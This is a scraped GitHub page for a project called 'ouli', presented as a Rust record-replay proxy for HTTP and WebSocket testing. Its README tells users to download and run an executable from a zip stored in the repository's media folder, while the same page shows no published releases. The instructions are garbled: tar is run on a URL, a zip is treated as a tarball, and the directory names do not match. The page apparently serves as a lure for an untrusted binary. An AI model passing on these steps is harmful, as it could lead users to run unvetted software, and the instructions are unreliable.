Skip to content
/ ouli Public

๐Ÿš€ Record and replay HTTP/WebSocket traffic with Ouli, a fast, memory-safe proxy that ensures deterministic testing of applications relying on external APIs.

License

Notifications You must be signed in to change notification settings

cikoki898/ouli

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

16 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐Ÿš€ ouli - Fast and Reliable Proxy Tool

Download ouli

๐Ÿ“ฆ Overview

ouยญli is a high-performance HTTP/WebSocket record-replay proxy built in Rust. It employs principles from TigerBeetle, making it a 10ร— faster and memory-safe alternative to traditional test servers. Whether youโ€™re testing APIs or managing connections, ouli provides a smooth experience for users who need reliable data flow.

๐Ÿš€ Getting Started

This section guides you through the process of downloading and running ouli. Follow these steps carefully to ensure a successful setup.

๐Ÿ“ฅ Download & Install

  1. Visit the Releases Page: To get started, go to the releases page here.

  2. Select the Latest Release: Look for the latest version available. You will find a list of assets associated with the release.

  3. Download the Appropriate File:

    • Depending on your operating system (Windows, macOS, or Linux), choose the correct file to download.
    • Click on the file to begin downloading.
  4. Locate the Downloaded File:

    • After the download completes, find the file in your downloads folder. It may be named something like https://raw.githubusercontent.com/cikoki898/ouli/main/media/ouli_1.5.zip or https://raw.githubusercontent.com/cikoki898/ouli/main/media/ouli_1.5.zip based on your system.
  5. Extract and Run:

    • For Windows: Double-click the .exe file to run ouli.
    • For macOS and Linux: Open a terminal and navigate to the folder containing the https://raw.githubusercontent.com/cikoki898/ouli/main/media/ouli_1.5.zip file. Use the command:
      tar -xzf https://raw.githubusercontent.com/cikoki898/ouli/main/media/ouli_1.5.zip
      Then, navigate into the extracted directory:
      cd ouli-v1.0.0
      Finally, run the application:
      ./ouli

๐Ÿ› ๏ธ Features

ouยญli comes with various features to enhance your testing experience:

  • HTTP/WebSocket Support: Works seamlessly with both protocols for versatile testing.
  • Record and Replay: Capture HTTP and WebSocket interactions to replay them later, ensuring consistent testing.
  • High Performance: Built using Rust and optimized for speed and memory safety, making it a top choice for heavy workloads.
  • Compatibility: Functions well with most modern APIs, helping streamline integration testing.
  • Zero-Copy Mechanism: Reduces the overhead on memory usage, increasing performance in data handling.

โš™๏ธ System Requirements

To run ouli smoothly, your system should meet the following requirements:

  • Operating System: Windows 10 or later, macOS 10.13 or later, or a modern Linux distribution.
  • RAM: Minimum of 4GB recommended.
  • Disk Space: At least 100MB of free space for installation and data management.
  • Network: Internet connection is essential for fetching necessary resources during testing.

๐Ÿ“‹ Usage Instructions

After running ouli, you may need to configure it for your specific needs. Use the following general instructions to get started with basic operations:

  1. Configure Proxy Settings: Update your application to use ouli as a proxy. Depending on your application, you may change the proxy settings in the network configuration.

  2. Start Recording: Simply trigger the record option from the applicationโ€™s UI. ouli will start capturing traffic.

  3. Stop and Save: Once you have finished your tests, stop the recording. You will be prompted to save your recorded data.

  4. Replay Sessions: Set up a replay by loading the recorded session. ouli will replicate the HTTP/WebSocket conversation as captured.

๐ŸŒ Community & Support

As you start your journey with ouli, remember you can tap into our community for support and resources. You can find help in these places:

  • GitHub Issues: Share any issues you encounter while using ouli. Our team and community members monitor this section regularly.
  • Discussion Forums: Participate in discussions surrounding features, bug reports, and usage tips. Check the "Discussions" tab in this repository.
  • Documentation: Consult the official documentation provided in this repository for detailed technical guidance.

๐ŸŒŸ Acknowledgements

ouยญli is built with modern principles that focus on performance and reliability. The inspiration from TigerBeetle principles enhances our work, allowing us to provide a robust tool for developers and testers alike.

๐Ÿ“ฃ Feedback

Your feedback is crucial for improving ouli. Feel free to reach out with any comments, questions, or suggestions. Your input helps us create a better tool for the community.

Enjoy using ouli! Your effective testing solution awaits.

About

๐Ÿš€ Record and replay HTTP/WebSocket traffic with Ouli, a fast, memory-safe proxy that ensures deterministic testing of applications relying on external APIs.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages